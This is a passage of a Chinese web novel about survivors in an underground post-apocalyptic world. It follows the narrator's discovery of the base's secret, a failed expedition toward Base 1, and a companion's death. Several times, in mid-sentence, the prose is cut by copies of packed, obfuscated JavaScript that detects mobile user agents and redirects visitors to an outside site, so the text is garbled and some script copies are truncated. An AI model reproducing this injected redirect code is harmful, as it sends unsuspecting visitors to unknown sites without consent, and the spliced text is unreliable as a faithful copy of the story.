不,都不会。它们只是蜜蜂而已。它们的蜇刺能够葬送自己的性命,却保卫不了劳动的成果。 它们甚至不需要蜂农提供的蜂箱。假使一开始没有被蜂农诱捕回来,蜂群在野外同样能够活得很好。 但人类不同,四号基地也不同。 “我不会主动告诉新人这些。很多人就算不知道理由,也能被集体同化,慢慢接受基地中的生活。” 村长说,“我知道大家的生活很苦很累。人们两班倒,冒着生命风险下矿,在基地时也要负责值班和守卫,但人类为了活着能做很多事——他们至少能够活着。 “想要活得久,最好就不要想太多。”村长说,“我带过很多人来这里,你们不是第一批。 “那些知道了真相的人,有很多都发疯了。选择默默自杀还算好的,但时常会有人想让捂住耳朵的人也感受同样的痛苦,还会毫无理由地迁怒,公开拉毫不知情的其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14284874|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人陪葬。”她皱眉说道,“我希望你们不要变成这样。” 我们没有回答。 我相信村长对这种情况早有准备和应对的手段。 “还有些人,”她疲倦地说,“好像能够接受这一切,回去了,继续挖矿,再不追问,浑浑噩噩地麻木活着,活得比那些不知情的人更像是死人。 “但是,可能会在某天,以出人意料的方式突然崩溃。” 她含有歉意的目光在此时落到我的身上。 我想起了一双已经被碾作泥的灰眼睛。 大哥问,“……那为什么还要带我们来这里?” “因为你们想知道答案。”村长说,“那么大的黑暗就在基地外面,你们总会得到答案。” 大哥没有说话,他难言地看了眼我们,低下头不知道在想什么。 “那你呢?”小弟一时气恼,脱口而出,“你为什么还活着?” “我在十三年前第一次来到这里,那时的我还有同伴在基地中不知情地生活着。”村长停顿了一下,“至于现在,大概因为,活着就是一种本能。” 离开那个地方后,大哥的脸色并不好看。不只是他,大家都不说话。我们离开集会所,各自默默地回去休息。 后来的几天,我们没有再讨论这个话题,度过了几天疲累的采矿生活,下班后就是休息。 我以为他们都放弃了。这没什么,打工小组临时解散是再常见不过的事情。他们还愿意在采矿中照顾我,算是事后领取、不知延续到哪天就会突然结账了断的工资。 大概在三天以后,我们将要下班离开的时候,大哥犹豫地看了眼我们。我没能领会这个意思,但小妹将我和小弟拉住了。 我们再次在集会所的角落中聚集。 大哥却没有如往常一样提出任何战略或调查计划,他留下我们,只是想要问一个问题。 “……你们会怪我吗?” 小妹和小弟都没有说话。我总是比他们迟钝一步,“怪什么?” 大哥看着我,说,“那天的事情。” 哦。我想了想,“我觉得她还有些事没告诉我们。” 大哥找村长谈话的做法提醒了我。 有什么不懂的问题,是可以直接去问别人的。 ——我不擅长这种事,但我对学习任何技能的机会都不挑三拣四。我在调查中观摩过那么多次大哥的做法,以我浅薄的底子和粗糙的理解,多少学到了一点东西。 我用那天拆好的毛线球织了双手套,在下次见到护理人员的时候送给她。 等她来到我的小屋中帮我义务检查身体恢复情况时,我再告诉她,“其实最早见到你的那会儿,我心里有些害怕你。” 等她将困惑的目光投过来,我才继续说道,“我以为我到了医院,怕我付不起医药费。” 护理人员被我逗笑了。 根据我学到的经验来判断,我想,这应该算是一个好的谈话开端。 17. 新社会 关于医药费的话题,护理人员答道,“在这里,只要你想活下来,基地就会尽可能帮你。” 只要我想。我当然想。若在以前,我会将这句无聊的定语从脑海的印象中擅自拿掉,完全忽略掉她的顾虑。或许我过去已经忽略过很多次这样的暗示了。 现在,我想要活下去的意志没有任何转变。但我知道了,这样理所当然的事情也要说出来。在她的顾虑中,这是一个我应该给出答复的点。 我认真地看着她,“我想活下去。” 护理人员闻言看着我,她那黑色的眼眸中似乎有某种东西正在发生变化。然后她宽慰地笑出来,坐在床边对我说,“我知道,兰姐前几天带你们去看过‘巢母’了。” 她揉搓着那双手套,“我先前怕你有些想不开。” 我松了口气。村长提醒过我们,不要与基地中不知情的人谈论“巢母”的事情。我不想违规之后被人打小报告。 护理人员果然是知情的,她能主动提起,就最好不过。 我试着学习大哥的语气,“你会难过吗?” “只要能活下去,有什么好难过的。”护理人员以一种中年妇女特有的神态说道,“就好像过去活在地上的时候,不是瞎忙?” 我发现我懂她的话。 这些天里,我不太理解的,反倒是其他几个人的消沉低落。在过去,我就很少有什么身为万物主宰的意识。就算做过些屠鸡杀鱼的工作,也很难产生一种与有荣焉的荣光感。 那么,被鸡鱼统治的时候,我也不会产生太多的愤怒与不平之感。 大哥传授过经验:人们都更关心自己,所以先让他们聊聊自己。 那是我最不关心的事情。过去我从未问过那种无聊的问题。 现在,我问,“你来基地很久了吗?” 护理人员果然愿意多和我说话,“好些年了,我记不清。 “以前也挖矿,后来受了伤,又年纪大,兰姐让我退下来陪她管理基地里的事情。我也管过一段时间的仓库。那时候的好多人现在都不在了,我运气好。兰姐运气也好。” 我忍耐着她的啰嗦与逻辑不清,一直等到她停下来,才开口说话,“我的名字——兰姐曾说那是个梗,以前很红的,你知道吗?” 护理人员愣了一下,吃力地想了很久,说,“我不知道,我以前就不喜欢什么潮流。” 她解释说,“听说兰姐刚来基地时才十六七岁,年轻那会儿脑子最活,她肯定更容易记得过去的事情。” 我用力抿了抿唇,让情绪不要轻易泄出来。到现在,我才终于能确定,2023年的生活已经是永远都回不到的过去了。我在黑暗中睡过了比自己想象中更为漫长的的时间。村长和护理人员,或许都曾是我的同辈,甚至有可能曾经比我更为年轻。 我以为我从未喜欢过从前在居住在地下室的那种生活,但当我得知自己再也无法回到那个有着电气设备和信息网络的年代之际,我下意识摸索寻找并抓紧了我报废的手机,心中感到一阵阵难过。 我静静地坐着,花了很长时间来消化这件事情。这会儿,我不再觉得护理人员那自顾自的絮叨让我等待煎熬了。 护理人员说,算下来她整体年龄比兰姐还要大,之所以称兰姐为“姐”,是因为在她刚成为新人的时候,需要向更早来到基地生活的前辈表示尊敬,之后就一直这么叫了下来。到如今,兰姐更像姐了,她自己也成了别人口中的梅姨。 她还说,她一直自己过日子。基地中的大家都过得浑浑噩噩,虽然有人处对象,但是死亡率太高,那些人担惊受怕的,结果也都不好。这里没人敢生娃,因为生下来也不知道怎么养。基地的人员延续完全依靠补充新人。 她顿了一下,突然说,好久没来新人了。 我尝试着搭话,“我们不是才刚来吗?” “都一个多月了。”护理人员对新人报道的频率,显然有着与我不同的理解,“以前隔几天就有新人来,不会断的。” 我的心中突然升腾起一股恐慌,追着她询问详情。 据大哥说,我们这批新人有三十来个,但由于脚程存在差异,是陆续前来报到的,说是隔几天就有人来,也不算错。 可从护理人员的经验来推断,每批新人的选拔间隔不会太久。在我们那批后,就再没有新人出现了。 因为持光者的死吗? 护理人员听过我当初带来的消息,部分认同这个看法,她不无忧虑地说,“搞分组的那个人是一号基地的,但和我们兰姐关系好,知道我们基地发展规模小,会多分些人过来。也许现在另换了人,对我们有想法。” 一号基地。我的心猛地一跳。我记得当初那个持光者把我和拥有发光这种不合时宜能力的人分去了一号洞口。我一直以为那是个被人放弃掉的选项。 “一号基地是走一号洞口过去的吗?”我不由问,“那里是怎样的地方?” “一号基地离得近,据说他们的‘巢母’就在黑湖底下。”护理人员说,“他们成立得最久,是他们最早摸出了在这片黑暗中存活的方法。他们慢慢积累了人才和物资,又有能力往外开拓。后来的各个分基地,都是靠着他们传授的方式在运转和生存。 “我们现在也是靠他们活着。一号□□了实力很强大的探索队,听说是他们找到了通往地表的通道,定期从曾经的人类社会搜集物资并运下来。我们则用光珠子与他们进行交换。多亏了他们,我们现在才能活得有个人样。” 我语气艰涩地问,“好像没多少人被分去他们那里。” “我没去过,不知道那个基地如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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可是她一直看着我。过去的我会忽略那种眼神,现在的我更加敏感。 已经无法再回到那个能够依靠网络信息以及媒介平台轻松逃离封闭环境的信息化社会了。我的手机毫无用处。我被困在一个小小的,人与人紧密依偎的,无法轻易交换交谈对象的社会。 “告诉我,梅姨,”我请求道,“姨,告诉我。” 她动摇了,“我不知道。”她的眼睛仍望着我,“可是,有那么一件奇怪的事情。在发现它受伤后,兰姐还从那里,就从那堆光珠子旁边,捡回了一个人……” 她结结巴巴的。 我从梅姨的目光中领会到了那个答案。 她终于说出来,“捡到了你。” 18. 解散 我回想起了自己来到四号基地之前的最后一段记忆,那记忆终止于吞光者企图活埋我的那个泥沙如雨般纷纷洒落的坑洞中。 最后,我失去了意识。 那之后发生了什么?会发生什么? 坑洞里的动静会突然中断,就像是甲虫在铅笔盒中失去声息一样令主人疑心不安。 我的呼吸会变得微弱,躯壳在逐渐冷去,无论遭遇怎样的摆弄和摇晃都不会再反馈任何一丁点反抗的力度。被怪物强行托起的四肢会落下,被怪物扶正的脑袋会再次歪向一边。我也不再会发出任何声音,就像那些被咬断破坏掉就失去动静的生物碎片一样,走向一种连怪物都能够理解的无比自然的状态——死亡。 那个时候的我,已濒临死亡。 那是连怪物都无能为力、无法阻止的事情。 我从四号基地这边得知的事实是,之后我被人在某只受人类供养的怪物处发现。另一只有可能存在于现场的怪物消隐无踪。 人类的同胞知道该如何照料我,她们给我灌了食水,让我在安全的场所昏睡。 随后,我在四号基地的病房中醒来。 那个病房的位置很偏远。现在我才明白了原因。当时我告诉了村长半个故事——人类本来也无权向怪物索求整个故事。我猜,如果在我养伤的那几天里发生了任何怪事,或是“巢母”有任何异动,我或许都得不到进入集会所的机会。 那些变数没有发生。 “巢母”受伤后,吞光者没有再出现。取而代之的是基地人手不足的新危机。 我得到了工作,以及新的生活。 可是…… 它知道我在哪。 这个句子被加粗放大印在了我的脑海里。我早就有过这样的怀疑,但就像是当初在车站的玻璃反光上看到了父亲的倒影的那个瞬间,这个隐隐的危险预感突然跳到了亟待处理的最高优先级。 “子涵,子涵!” 我终于反应过来眼前的人是在叫我的名字。我晃了晃头,让眼神定焦在梅姨的脸上。 “你是不是被吓到了?脸怎么这么白……”她忧心地拍着我的背,我不习惯这样的亲昵,“没事,没事,都过去了,你有后福的。” 我理了理思绪,然后提出问题。 ——“基地越来越糟了,兰姐有过向外界寻求解答方案的念头吗?” 在得到我所提供的消息后,大哥再次带领我们前去找兰姐询问情况。 兰姐承认,四号基地当下处境艰难。相较于梅姨那模糊的理解和感受,兰姐对基地的各项数据掌握得更加精准全面。她从来都不吝啬将内情揭露给有勇气了解真相的人看,就如同当初将我们带领到“巢母”面前一样。 “巢母”受伤,对周边生态圈的震慑力减弱了,一些曾经还算安全的矿区如今也变得危险重重,伤亡人数不断增加。 兰姐这段时间都在不断重新部署矿队的排班与外出路线,以降低产量为代价,收缩基地人员外出活动的范围。与此同时,还要保证在集会所预留充足的防御人员,以此应对随时可能出现的小型生物群体入侵风险。 新人的缺席使这种安排显得捉襟见肘。 不仅如此,一号基地的物资供应向来不稳定,可距离上次交易已经过去很长时间了,新的运输队却迟迟没有到来。 我愣了愣,我在集会所期间的确没见到新的物资来源,这又是一个被我忽略掉的问题。 新人的分配以及物资的供应都来自一号基地,很难不让人将这两件事情联系起来。 兰姐向一号基地派出了探索队,探索队遭遇了某种怪物,冒死逃了回来。 他们没能带回太多有用线索,也说不清在黑暗中遇见的情况。 我不禁想,经验丰富的探索队,可能是指逃跑经验丰富。这样的行动方针与他们的存活率倒是相匹配的。 总之,现在就断言去往一号基地的道路被封锁了,这样的结论是武断的。 但考虑到怪物活动可能存在一定周期,短期内兰姐不打算再派探索队去作无用的冒险。 她计划等一号基地派出探险队来解决失联的问题。若一号基地发生变故,就没有再恢复联系的必要。若连一号基地都无法解决问题,那四号基地的努力也是徒劳。 谨慎是四号基地一贯坚持的方针,这里的人类早就失去了向外抗争的勇气,也没有能够激励勇气的资本。 我能看见,大哥的面色阴沉得可怕。现在的我不再会仅仅因为看到带有这种情绪的男性面孔就轻易地感到惴惴不安了,我的心底甚至生出了某种同情。 与站在“巢母”面前的那个时候相比,我们得知了更多的信息,情况也没有变得更好,反而每况愈下。就像我们擦亮眼睛,发现自己站在某座仅能落脚的浮岛上,每当以为这样默默等死的境况已经是极其糟糕的状态时,水面就会一点点漫上来,淹没你的脚面。 兰姐并不意外于我们表露出来的沉默。 她说,她这里只能为我们提供这么多答案。如果我们还渴望对自身的处境有更深入的认知,就得亲自去探寻。 她说她知道我们最近遭遇了很大的冲击,能理解我们的畏缩不前和优柔寡断。她并不强求我们的服从,只请求我们不要破坏秩序。如果我们对自身的安排有什么特殊的想法,就算当前基地条件紧张,她也愿意放我们随意行动,成全我们的……自由。 说实话,我从不相信什么自由。因为我觉得我的人生走到现在,从来都没有留给我走另一条路的选择。 这次也一样。我已经做下了决定。 我和另外几个人私下集会。这是我作为调查组成员,在退出前应当尽义务的事情。 那些话题不能在集会所公开谈论,因此大哥将地点选在小弟的住所。女孩的房屋不妥当,大哥的住所又太偏僻遥远。 兰姐的话语像阴影回荡在我们聚集的此处。小弟犹豫着问,“你们觉得,其实,她是不是想让我们去一号基地?” 我听到小妹发出一声充满嘲笑意味的声音。 自从去见过巢母后,她似乎越来越不乐意掩饰自身那锋利的性格。 大哥问,“你们怎么看?” 他从前一直很有主见,但如今我同意兰姐那句关于优柔寡断的判语。 “我不知道。”小弟总是最先发表意见的人,尽管那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你的求生意志是我所见过的最强烈的,”他说,“留在基地里,至少还能活下去。” 这句听起来都有些像是在劝说。 我承认保守谨慎是我的一贯秉性。这过剩的秉性让我从不奢望能得到外界的救援。 也正如他所说,在我心中,求生胜过一切。当我预见到船只正在沉没,我拿得出拼死一搏跳船求生的勇气。 这是我必然会选择的唯一道路。 这条道路可能很短,可能很长。但我从来都不愿意在已看到尽头的道路上坐着等死。 我要的活是作为我而活着。那么万不得已的时候,我可以接受我为我的选择而死。 我并没有征求他们意见的打算,“你们作什么决定都好,我可以退出。” 这句话似乎让大哥卸下了某种担子。 他终于说出他一直保留在心底的意见,“只是就我个人而言,我也想要试着冒冒险,想要去一号基地看看。” 他说完后吐了口气,坦然地看向剩下的两人,“你们呢? “无论怎样的决定都好,”他说,“这或许是我们最后一次会议了。” 19. 现实 那次会议没有成为我们小组的最后一次会议。出发前的那次才是。 离开四号基地前,大哥再次运用他的谈判技巧,说服兰姐为我们的探索提供了一些物资。 小弟的能力让我们不必携带过多种类的工具。基地提供的那批物资主要是光珠子、黑液、少量急救用品以及方便收纳它们的行囊。 我们尽量将这些物资都整理到行囊中,靠人力来背负,尽可能腾出小妹的空间,为她减少负担。 在最后的时刻,大哥也没忘了确认,“走出这一步后,我们可能就回不来了。你们在离开前还有什么没做完的事吗?” 四号基地里还能有什么值得人牵挂的事呢?我到现在已经习惯了他过剩又软弱的包容心。他无非是怕有人当初意气用事又在出发前反悔,再给出一个台阶。 或许确实有人需要这个机会。 小弟不安地磨了磨鞋子,引起我们的注意。他犹犹豫豫好半天,终于下定决心,看着我,说,“我想说……” 我皱眉看回他。他突然就不说话了。 大哥疑惑地看着他。 “没事,我是想说,我肯定要去的。”小弟低下头,看着地面说。他又偷偷看我一眼,再摇摇头,“以后再说吧,我没什么别的事了。” 他前言不搭后语,大哥也没嘲笑追问。 “哼。”倒是小妹笑了一声。那是我最后一次看见她那标志性的单侧嘴角上挑一毫米的笑容。 之后,光珠子被纳入囊中,我们一起走入黑暗。 后来发生的事很难说清。黑暗中的很多事情都很难说清,因为太难看清全貌。 我还记得光照打过石壁的阴影。记得混乱的风声。记得手拉着手的摸索与疾跑。记得那一连串我受限于能力而实际出力不多的战斗。 在去往一号基地方向,或者说黑湖方向的路途上,我们遇到了哒哒哒哒作响的生物,那可能是巢母的子嗣。 它们对待人类或许有着类似巢母的懒洋洋的习性。 但我们不敢赌它们的触毛是否具备毒性,随意的践踏又是否致命。我们不得不抛洒光珠子来回避与它们的接触。 它们聚集在一起,毁坏了道路——这些地底空洞可能原本就是某些巨型生物为通行或开拓而挖掘出来的遗迹。 它们用碎石在道路中间搭建类似巢穴的构筑。后来我才想到,那可能是用于阻挡敌对生物的某种防御工事。 这条通道中的地形已面目全非。 大哥小弟小妹之前从黑湖来此的经验也变得毫无参考价值。 光珠子只要冒出一线光亮就会遭来它们的抢夺吞食。 我们只能在黑暗中摸索着,爬过它们设下的重重障碍。 它们挖掘坑洞,还堵塞道路,有好几次我们爬过的是羊肠般曲折狭小的孔洞。 有时我们会怀疑自己是不是已经走岔到了其它的道路上。 这样没有方向没有回馈的不断摸索让人一点点失去希望。 那些生物也越聚越多,要回避与它们的接触变得很艰难,得时不时停下来进行漫长的等待,待它们散开了再行动。 我们曾庆幸,至少它们替我们驱走了别的威胁,我们对如何应对它们还算是心中有数。 这点庆幸很快就转化为了绝望。自然界从来都是不讲道理的。 那些生物从某一刻起,或者是从我们越过了某个区域起,不再满足于光珠子的投喂,突然产生了对我们的攻击欲望。 这理应是新近发生的习性转变,那支擅长逃跑的前哨队没有汇报任何类似的信息。 第一轮攻击突如其来,使我们在毫无防备之际遭受了伤亡。由于身处黑暗,我甚至难以判断那伤亡究竟严重到何种程度。 我只听到了那声惨叫,它突兀地在身侧炸开,刺入我的耳膜。我竟无法辨别出发声者是谁。 饱含血腥味的热液浇到了我的身上。 然后就是每个人本能的防御和攻击,大哥的防护力场,小弟的万能工具,小妹的空间切断,在混战中带着各自不同的风声。我们拼尽全力,但现实总比出发前的幻想来得骨感,我们都不是那种花一两个月时间就能脱胎换骨的速成战士。 而且,黑暗带来的目盲,在战斗中是致命的。当初,小弟能怀着激愤在搏斗中胜过灰眼睛。可若是在黑暗中,我们几个人的十倍或许都比不过灰眼睛。 更比不过天生栖息在这样环境中的生物群体。 它们数量太多了。 光线一旦出现就会立即被吞噬,不管那是光珠子还是它们自身同伴的血。那种照明短暂又混乱,总是不能让我看清想要看的事物。 我用在矿队积累下来的经验控制自己的能力,避免爱的诱饵让事情变得更加不可收拾。这很容易,因为愤怒已经盖过了恐慌。 我的锯齿杆沾上了它们的血,立刻惹来了它们的抢夺撕咬。我被迫放弃了这件陪伴我许久的武器。 勉强战斗是不明智的。我们在黑暗中且战且退,互相扶持着逃跑。 一连串小型的遭遇战后,我已经不知道身边的人还剩下谁,我曾抓住又放开过谁的手。 我只记得,有的人受伤了,拉起来的手感非常沉重。 最后有人推了我后背一把。我勉强穿过通道,钻入了某个竖直方向的坑洞。 小妹慌张的声音从前方传来,“是死路。” 当我着急想要回撤的时候,我被后上方的那个人坚定地按住了。 他收回了手,取而代之的是堵住狭窄入口的力场。 然后是用某种工具快速挖掘出来的碎石泥沙。那些泥沙被人扬起砸到在那些生物的身体上,然后滑落地面,填埋着我们藏身的洞口。 这是我第二次遭遇活埋。 我几乎是立刻领悟了外面人的意图,并顺从了这份我鲜少能遇见的好意。我与小妹头也不回地爬行到坑洞最深处。小妹用自身能力割取岩壁,将岩壁收入空间再放到地上,我迅速无声地将那些石块码放起来,在我们身后再堆叠一座小小的壁垒。 外面混乱的声音没有停息——他们和那种生物的战斗一直没有停歇,外面响彻着哒哒哒哒的急雨,让我的心跳为之鼓动。之后我听到了他们逃跑的脚步声。那雨声被他们成功引走了一部分,还有小部分留下来,在坑洞外收拾着战场。 外面传来吮吸液体和嘎吱嘎吱嚼碎肢体的声音。 之后,我听到有泥沙簌簌地从坑洞顶部坠落。 是洞口的力场失效了——因为能力者的远离,因为那种生物的破坏,或是因为别的什么原因…… 哒哒哒哒的声音仍在洞口外徘徊。 我和小妹在黑暗中屏住了呼吸。 突然有生物从坑道外掉了下来。 它在洞中转了一圈。哒哒哒哒。它敲击着我和小妹为洞窟新添的石堆。哒哒哒哒。 我和小妹躲在这座不完整的石堆后面,默不作声,将身体紧紧缩成一团。 它没有翻越石堆。仅在坑洞中简单绕了一圈后,它爬回坑洞顶部。 哒哒哒哒的声响逐渐稀疏,减弱,远去。 雨停了。 黑暗重新回归宁静。 只剩下屋檐的滴水声。 不,是从坑洞上方的泥沙中渗下来的滴水声,一点一点地打在地面上。 会发光的血都已被那些生物自行处理掉。 所以,那些于黑暗中坠落的液体,只会是从人类躯体中流淌出来的被遗留在战场上的血泊。 这里的血腥味太重了,我早已分不清方向和来源。直到我慢慢松开小妹的手,搓了搓手指间的黏腻。 我的心里又浮现出不好的预感。 周围没有哒哒哒哒的声响。 我犹豫了一下,背靠着石壁,用手掌拢着,放出黑皮袋孔洞中的一线光,查看我最后一位同伴的情况。 我还没看清那种刺眼颜色所覆盖的范围,那线光就被小妹用手握住了。 我视网膜上残留的暗沉红色印象被黑色重新覆盖。 “没什么好看的。”小妹声音干涩地说,“我任务快结束了。” 我问,“什么任务?” “哈,”她发出了惯常的那种嘲笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14284877|152030||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音,但气息微弱,“你没看过那种小说吗?就是那种任务。” 她的话比以前多,好心解释道,“穿越到各种末世里完成生存目标,很多小说里都会写的那种任务。” 我看过那种小说。 但我说不出话来,我不知道她此刻是在发疯还是真的煞有其事。 我们走过的黑暗真的很像那种末日生存类小说里才会有的内容。没有预兆的末日。没有解释的黑暗。没有道理的能力。可她在此刻才说起这些,这一切都显得太荒谬了。 “是真的。我先前只是,”短暂的停顿后,她无比确信地说,“失忆了。” 她突然扬高声调,“我是大佬来着。” 她找到了论据,“空间系的都是大佬。”也找到了自信,“肯定是有人搞我,对我用了什么道具,让我忘记了轮回队员的身份,以为自己是这里的原住民。” 她越说越顺,还骂了句脏话。 “等我回去后想起来了,我就找仇家算账。肯定是雨婷,我就说我这辈子都和她不对付。”她的声音渐渐微弱,“雨婷……” 不管真假,我先抓紧机会请教,“我们现在还有什么办法吗?” “现在?现在我要走了。我受够这里了。”她带着快意说,“都是什么见鬼的贫瘠的世界,什么塑料队友情。” 她想起来自己可以不顾后果地说出任何心里话了。 “老想替别人负责任的爹味男,毛毛躁躁又冲动的死混混,还有你,阴沉死了,干活又不出力,惹事还多。” 这样尖锐的抱怨会刺伤别人,但我并不意外。我深知习惯保持沉默的人,往往藏着最多的话语,会在某个突然的时刻以连她自己也无法控制的方式爆发出来。 这样反常的小妹,在提起我时,不惜用尽最后一口力气,也要带着恨意说,“……都怪你。要不是你说要离开基地,我们也不会在这里。” 我无话可说。可她在黑暗中摸索起来,再次碰到我的手,用力紧紧握住。她的手越来越冰冷。 “没关系,反正我也要走了。”她轻声说,“我会在更好的地方醒来。 “这里的东西我懒得带回去了,就留给你了。我有把折叠小刀,因为张昊阳的工具够用,一直没拿出来过,藏在我的空间里。” 她到最后也没失去一贯的谨慎,“我先把它放在地上,你等我离开了再拿走。 “我……”她像小弟那样将原本想说的话咽了回去。 她没有为任何事道歉,可她的语气重新变得温柔起来,“现在想想,没准你也是我的队友呢?你也只是失忆了而已。所以,遇到什么都不要怕,”她握着我的手说,“那不是最后,不是。 “等我回去了,要是积分够,”她气若游丝地许诺道,“我就让主神将你拉出来,对,我们去更好的地方。” 她的气息微弱至极,像是对自己说,“不要怕……” 然后归于沉寂。 我在黑暗中等了很久,直到她的手指变得僵硬。再不放开的话,它们就可能会在我挣脱时被折断了。 我将自己的手抽出来。她的身体没有消失,没有发生什么明显的变化。我不确定她的灵魂是否回去了她所说的那个空间——如果人类真的拥有灵魂的话。 我不相信。但我希望她所说的是真的。 我在黑暗里摸到了她说过的那把小刀,收入口袋中。 我犹豫了一下,还是没有再用光珠子照明。她说过,没什么好看的。 我伸手摸向她,她的身体歪向一边。她叫雨晴,总是用齐刘海盖住眼神,就像个刺客一样。我顺着头发找到她的刘海,然后帮她阖上眼睛。 我没有立刻离开这里。 我很累了。精疲力竭。心冷如灰。还没做好再度出发的准备。 我的伤势也需要时间来恢复。 坑洞外面时不时传来哒哒哒哒的声响。暂时没有哪只生物生出再度探索这条死路的好奇心。 这里不够安全,可接下来大概很难找到更好的避难所。于是我靠着小妹的身体,躺下来,闭上眼睛,睡了过去。 20. 间章 我的辩护 我在更好的地方醒来。 周围的一切好似笼罩在雾里,我看不清,但我大概知道这里是极好的地方,就连空气中的气息都甜美而舒展,仿佛直白地写着美好二字。 这布景或许有些敷衍。 但氛围到了就够了——我的大脑在做梦时懒得构筑细节,就算清醒时,我对生活也向来很难怀有具体而动人的期待与想象。 小妹在这里等我。 情节大概是她回到所谓的空间后,发现自己攒够了积分,决定兑现承诺。 她拉着我的手。那手掌冰冷僵硬,是她留给我的最后印象。她热情地向我介绍这幻想中的天堂,那语调振奋得像是虚假的,具体描述的内容又如同周边的布景一般,呈现出雾蒙蒙的状态。 我很想要好好享受这场大脑给我安排的心灵按摩,但我难以做到。穷惯了的人是无法心安理得接受优待的。哪怕在自己的梦中也是一样。 我总觉得有什么报应在暗中等待,比如说会被突然丢去某个可怕的末日里体验极限生存。 大脑很想要满足我对噩梦的期待。但说实在的,还能有什么比我曾遭受过的经历更可怕的吗?我的大脑率先投降,很快就放弃了组建炼狱烈焰的场景。 于是小妹翻脸了。她的脾气就和生前最后时刻一样阴晴不定。或许那才是她的本来脾性也说不定。 都怪你!都是你害的!你害惨了桐哥和张昊阳!——你害死了我! 你以为我真会拉你?我绝对不会原谅你,你这个阴沉女!回去你那黑森森的洞窟和怪物作伴吧! 她骂完我,将我从云端推了下来。 在坠落的失重感中,我身体一震,猛然惊醒。 我的灵魂落回了身体。 我的背后还靠着冰冷的岩壁和小妹的身躯。刚刚的入睡抽动,让我踢到了前方作为掩体的石堆,我不得不强撑着醒来,在黑暗中摸索着重新加固那些碎石。 工作的时候,我下意识在脑中重播着噩梦中最后听到的语句。 小妹的指责是有道理的。我是最早提出要离开基地也意志最坚定的发起人。无论其他人心底怀抱着怎样的想法,我的态度都会对他们造成或多或少的影响。 我又是在行动中出力最少的那个,招来怨恨也理所当然。 可我并不怎么感到内疚。我默默地堆叠着那些石块。 当初我也不怎么理解,为何大哥要在他的调查得出不好的结论时担心我们会责怪他。当我自己向他们宣布噩耗时并征求意见的时候,我就丝毫没有半点抱歉的意思。 我知道我是自私的人,我从来只顾及自己的生存。 我无条件地爱着自己的丑陋,懦弱,偏激,卑鄙和不择手段。因为,如果连我自己都不珍惜我,还有谁会来珍惜我呢? 我按了按石堆,确保它已变得稳固,然后重新躺下来。 曾经的我,刚出生时还一尘不染的那个我,或许有可能发展为道德更加健全的人,是生活剥夺了这种可能性。 我能找到各种理由为自己辩护。现实的苦难中绝无可能诞生卡西莫多那样遭遇不公却善良忠诚的人,暴戾冷酷的剧院魅影才是寻常人类更有可能走向的终局。总有人爱夸赞低贱者的高贵,但从来都不是贫贱使得人高贵,贫贱只会让人变得愤世嫉俗、斤斤计较。 我遭受过别人的践踏。人天生会践踏比自己弱小的事物,失权者犹甚,所以越是在穷苦的地方,这种倾轧就越过分。现在想来,兰姐她们管理的四号基地反倒像是种世外桃源了。 我从不觉得,只因我是受伤的那方,我就比他们道德高尚。 我只是没有伤害他人的能力,所以才只能夸耀自己的无害。如果我有机会掌握权力,我也会去行使权力。假如给我机会,我会嘲讽他人,我百般愿望自己变成男人,我会肆无忌惮地按自己的需求来重塑对我有利的秩序。 可惜我没有这样的机会。 我只是一个自私的弱者,我并不奢望用那些我所不具备的珍贵道德换取同伴的夸赞和回报。 我没有同伴。 我在黑暗中重新睡去。这回我梦到了舍友,我们曾在苦难中共同渡过了很长时间。 我们睡在狭小出租屋里的同一张床上,背靠着背。 她笑着说,我才是你的同伴呀。 我低声反对,你不是。 她问,难道我们不是一伙的吗? 有谁说失意者就天然是一伙呢?我们居住在一起,是因为我们都毫无办法,那种合租生活是我们各自的将就和忍受。 我讨厌她。她讨厌我。 女性对女性的折磨有时候比男性的轻蔑无视更有害。我无法忘记当年的旧事,舍友曾对我说过的话和做过的事。我记得她联合男孩和女孩一起嘲笑欺辱我的无情,也记得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 